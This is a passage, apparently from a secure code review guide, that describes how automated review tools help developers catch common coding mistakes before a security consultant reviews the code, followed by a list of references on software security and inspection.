This can be done by providing developers with a controlled set of rules which the developer can compare their code to. Automated tools provide this functionality and also help reducing the overhead from a time perspective. A developer can check his/her code using a tool without much initial knowledge of the security concerns pertaining to their task at hand. Also running a tool to assess the code if a fairly painless task once the developer becomes familiar wth the tool(s).

TOOL DEPLOYMENT MODEL:

Deploying code review tools to developers helps the throughput of a code review team by helping to identify and hopefully remove most of the common and simple coding mistakes prior to a security consultant viewing the code.

This methodology improves developer knowledge and also the security consultant can spend time looking for more abstract vulnerabilities.

REFERENCES

1. Brian Chess and Gary McGraw. "Static Analysis for Security," *IEEE Security & Privacy* 2(6), 2004, pp. 76-79.
2. M. E. Fagan. "Design and Code Inspections to Reduce Errors in Program Development," *IBM Systems J.* 15(3), 1976, pp. 182-211.
3. Tom Gilb and Dorothy Graham. *Software Inspection*. Addison-Wesley, Wokingham, England, 1993.
4. Michael Howard and David LeBlanc. *Writing Secure Code, 2nd edition*. Microsoft Press, Redmond, WA, 2003.
5. Gary McGraw. *Software Security*. Addison-Wesley, Boston, MA, 2006.
6. Diomidis Spinellis. *Code Reading: The Open Source Perspective*. Addison-Wesley, Boston, MA, 2003.
7. John Viega and Gary McGraw. *Building Secure Software: How to Avoid Security Problems the Right Way.* Addison-Wesley, Boston, MA, 2001.
8. Karl E. Wiegers. *Peer Reviews in Software*. Addison-Wesley, Boston, MA, 2002.